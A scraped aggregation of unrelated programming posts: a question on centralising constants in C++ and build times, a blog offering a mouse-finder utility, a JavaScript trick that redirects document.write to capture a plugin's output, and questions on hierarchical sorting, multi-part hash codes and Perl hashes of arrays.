    In our mostly large applications, we usually have a only few locations for constants: One class for GUI and internal contstants (Tab Page titles, Group Box titles, calculation factors, enumerations) One class for database tables and columns (this part is generated code) plus readable names for them (manually assigned) One class for application messages (logging, message boxes etc) The constants are usually separated into different structs in those classes. In our C++ applications, the constants are only defined in the .h file and the values are assigned in the .cpp file. One of the advantages is that all strings etc are in one central place and everybody knows where to find them when something must be changed. This is especially something project managers seem to like as people come and go and this way everybody can change such trivial things without having to dig into the application's structure. Also, you can easily change the title of similar Group Boxes / Tab Pages etc at once. Another aspect is that you can just print that class and give it to a non-programmer who can check if the captions are intuitive, and if messages to the user are too detailed or too confusing etc. However, I see certain disadvantages: Every single class is tightly coupled to the constants classes Adding/Removing/Renaming/Moving a constant requires recompilation of at least 90% of the application (Note: Changing the value doesn't, at least for C++). In one of our C++ projects with 1500 classes, this means around 7 minutes of compilation time (using precompiled headers; without them it's around 50 minutes) plus around 10 minutes of linking against certain static libraries. Building a speed optimized release through the Visual Studio Compiler takes up to 3 hours. I don't know if the huge amount of class relations is the source but it might as well be. You get driven into temporarily hard-coding strings straight into code because you want to test something very quickly and don't want to wait 15 minutes just for that test (and probably every subsequent one). Everybody knows what happens to the "I will fix that later"-thoughts. Reusing a class in another project isn't always that easy (mainly due to other tight couplings, but the constants handling doesn't make it easier.) Where would you store constants like that? Also what arguments would you bring in order to convince your project manager that there are better concepts which also comply with the advantages listed above? Feel free to give a C++-specific or independent answer. PS: I know this question is kind of subjective but I honestly don't know of any better place than this site for this kind of question. Update on this project I have news on the compile time thing: Following Caleb's and gbjbaanb's posts, I split my constants file into several other files when I had time. I also eventually split my project into several libraries which was now possible much easier. Compiling this in release mode showed that the auto-generated file which contains the database definitions (table, column names and more - more than 8000 symbols) and builds up certain hashes caused the huge compile times in release mode. Deactivating MSVC's optimizer for the library which contains the DB constants now allowed us to reduce the total compile time of your Project (several applications) in release mode from up to 8 hours to less than one hour! We have yet to find out why MSVC has such a hard time optimizing these files, but for now this change relieves a lot of pressure as we no longer have to rely on nightly builds only. That fact - and other benefits, such as less tight coupling, better reuseability etc - also showed that spending time splitting up the "constants" wasn't such a bad idea after all ;-)

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  • Blind As a Bat in Multi-Monitor Hell &ndash; Free Program Inside!

    - by ToStringTheory
    If you know me personally, then you probably know that I am going blind thanks to a rare genetic eye disease.  My eye disease has already been a huge detriment to my eyesight.  One of the big things to suffer is my ability to see small things moving fast right in front of me.  On a multi-monitor setup, this makes finding the cursor absolute hell. The Problem I’ll keep this short, as I’ve basically already told you what the problem is.  On my three monitor development computer, I am constantly losing the mouse during the day.  I had used the Microsoft accessibility mousefinder (press CTRL, and it pings around the mouse).  The problem with this is, there is only an effect around 50-100 PX around the mouse, and it is a very light gray, almost unnoticeable.. For someone like me, if I am not looking at the monitor when I click the CTRL button, I have to click it multiple times and dart my eyes back and forth in a futile attempt to catch a glimpse of the action…  I had tried other cursor finders, but none I liked… The Solution So what’s a guy to do when he doesn’t like his options?  MAKE A NEW OPTION…  What else should we as developers do, am I right?  So, I went ahead and made a mousefinder of my own, with 6 separate settings to change the effect.  I am releasing it here for anyone else that may also have problems finding their mouse at times. Some of its features include: Multiple options to change to achieve the exact effect you want. If your mouse moves while it is honing in, it will hone in on its current position. Many times, I would press the button and move my mouse at the same time, and many times, the mouse happened to be at a screen edge, so I would miss it. This program will restart its animation on a new screen if the mouse changes its screen while playing. Tested on Windows 7 x64 Stylish color changing from green to red. Deployed as a ClickOnce, so easy to remove if you don't like it. Press Right CTRL to trigger effect Application lives in notification area so that you can easily reach configuration or close it. To get it to run on startup, copy its application shortcut from its startmenu directory to the “Startup” folder in your startmenu. Conclusion I understand if you don’t download this…  You don’t know me and I don’t know you.  I can only say that I have honestly NOT added any virus’ or malware to the package. Yeah, I know it’s weird Download: ‘ToString(theory) Mousefinder.zip’ CRC32: EEBCE300 MD5: 0394DA581BE6F3371B5BA11A8B24BC91 SHA-1: 2080C4930A2E7D98B81787BB5E19BB24E118991C Finally, if you do use this application - please leave a comment, or email me and tell me what you think of it. Encounter a bug or hashes no longer match? I want to know that too! <warning type=”BadPun”>Now, stop messing around and start mousing around!</warning>

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  • Using 3rd Party JavaScript Plugins Hardwired With &lsquo;document.write&rsquo;

    - by ToStringTheory
    Introduction Have you ever had the need to implement a 3rd party JavaScript plugin, but your needs didn’t fit the model and usage defined by the API or documentation of the plugin?  Recently I ran into this issue when I was trying to implement a web snapshot plugin into our site.  To use their plugin, you had to include a script tag to the plugin on their server with an API key.  The second part of the usage was to include a <script> tag around a function call wherever you wanted a snapshot to appear. The Problem When trying to use the service, the images did not display.  I checked a couple of things and didn’t find anything wrong at first..  It wasn’t until I looked at the function that was called by the inline script did I find the issue – a call to the webservice, followed by a call to ‘document.write’ in its callback.  The solution in which I was trying to implement the plugin happened to be in response to an AJAX call after the document had completely loaded.  After the page has loaded, document.write does nothing. My first thought for a solution was to just cache the script from the service, and edit it do something like a return function or callback that I could use to edit the document from.  However, I quickly discovered that there is no way to cache the script from the service, as it had a hash in the function where it would call the server.  The hash was updated every few seconds/minutes, expiring old hashes.  This meant that I wouldn’t be able to edit the script and upload a new version to my server, as the script would not work after a few minutes from originally getting the script from the service. Solution The solution eluded me until I realized that this was JavaScript I was dealing with.  A language designed so that you could do just about anything to any library, function, or object…  At this point, the solution was simple – take control of the document.write function.  Using a buffer variable, and a simple function call, it is eerily simple to perform: //what would have been output to the document var buffer = ""; //store a reference to the real document.write var dw = document.write; //redefine document.write to store to our buffer document.write = function (str) {buffer += str;} //execute the function containing calls to document.write eval('{function encapsulated in <script></script> tags}'); //restore the original document.write function (just in case) document.write = dw; That’s it.  Instead of using the script tags where I wanted to include a snapshot, I called a function passing in the URL to the page I wanted a snapshot of.  After that last line of code, what would have been output to the document (or not in the case of the ajax call) was instead stored in buffer. Conclusion While the solution itself is simple, coming from a background much more footed in the .Net platform, I believe that this is a prime example of always keeping the language that you are working in in mind.  While this may seem obvious at first, as I KNEW I was in JavaScript, I never thought of taking control of the document.write function because I am more accustomed to the .Net world.  I can’t simply replace the functionality of Console.WriteLine.

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  • Algorithm for converting hierarchical flat data (w/ ParentID) into sorted flat list w/ indentation l

    - by eagle
    I have the following structure: MyClass { guid ID guid ParentID string Name } I'd like to create an array which contains the elements in the order they should be displayed in a hierarchy (e.g. according to their "left" values), as well as a hash which maps the guid to the indentation level. For example: ID Name ParentID ------------------------ 1 Cats 2 2 Animal NULL 3 Tiger 1 4 Book NULL 5 Airplane NULL This would essentially produce the following objects: // Array is an array of all the elements sorted by the way you would see them in a fully expanded tree Array[0] = "Airplane" Array[1] = "Animal" Array[2] = "Cats" Array[3] = "Tiger" Array[4] = "Book" // IndentationLevel is a hash of GUIDs to IndentationLevels. IndentationLevel["1"] = 1 IndentationLevel["2"] = 0 IndentationLevel["3"] = 2 IndentationLevel["4"] = 0 IndentationLevel["5"] = 0 For clarity, this is what the hierarchy looks like: Airplane Animal Cats Tiger Book I'd like to iterate through the items the least amount of times possible. I also don't want to create a hierarchical data structure. I'd prefer to use arrays, hashes, stacks, or queues. The two objectives are: Store a hash of the ID to the indentation level. Sort the list that holds all the objects according to their left values. When I get the list of elements, they are in no particular order. Siblings should be ordered by their Name property. Update: This may seem like I haven't tried coming up with a solution myself and simply want others to do the work for me. However, I have tried coming up with three different solutions, and I've gotten stuck on each. One reason might be that I've tried to avoid recursion (maybe wrongly so). I'm not posting the partial solutions I have so far since they are incorrect and may badly influence the solutions of others.

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  • Generic Dictionary and generating a hashcode for multi-part key

    - by Andrew
    I have an object that has a multi-part key and I am struggling to find a suitable way override GetHashCode. An example of what the class looks like is. public class wibble{ public int keypart1 {get; set;} public int keypart2 {get; set;} public int keypart3 {get; set;} public int keypart4 {get; set;} public int keypart5 {get; set;} public int keypart6 {get; set;} public int keypart7 {get; set;} public single value {get; set;} } Note in just about every instance of the class no more than 2 or 3 of the keyparts would have a value greater than 0. Any ideas on how best to generate a unique hashcode in this situation? I have also been playing around with creating a key that is not unique, but spreads the objects evenly between the dictionaries buckets and then storing objects with matched hashes in a List< or LinkedList< or SortedList<. Any thoughts on this?

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  • New Perl user: using a hash of arrays

    - by Zach H
    I'm doing a little datamining project where a perl script grabs info from a SQL database and parses it. The data consists of several timestamps. I want to find how many of a particular type of timestamp exist on any particular day. Unfortunately, this is my first perl script, and the nature of perl when it comes to hashes and arrays is confusing me quite a bit. Code segment: my %values=();#A hash of the total values of each type of data of each day. #The key is the day, and each key stores an array of each of the values I need. my @proposal; #[drafted timestamp(0), submitted timestamp(1), attny approved timestamp(2),Organiziation approved timestamp(3), Other approval timestamp(4), Approved Timestamp(5)] while(@proposal=$sqlresults->fetchrow_array()){ #TODO: check to make sure proposal is valid #Increment the number of timestamps of each type on each particular date my $i; for($i=0;$i<=5;$i++) $values{$proposal[$i]}[$i]++; #Update rolling average of daily #TODO: To check total load, increment total load on all dates between attourney approve date and accepted date for($i=$proposal[1];$i<=$proposal[2];$i++) $values{$i}[6]++; } I keep getting syntax errors inside the for loops incrementing values. Also, considering that I'm using strict and warnings, will Perl auto-create arrays of the right values when I'm accessing them inside the hash, or will I get out-of bounds errors everywhere? Thanks for any help, Zach

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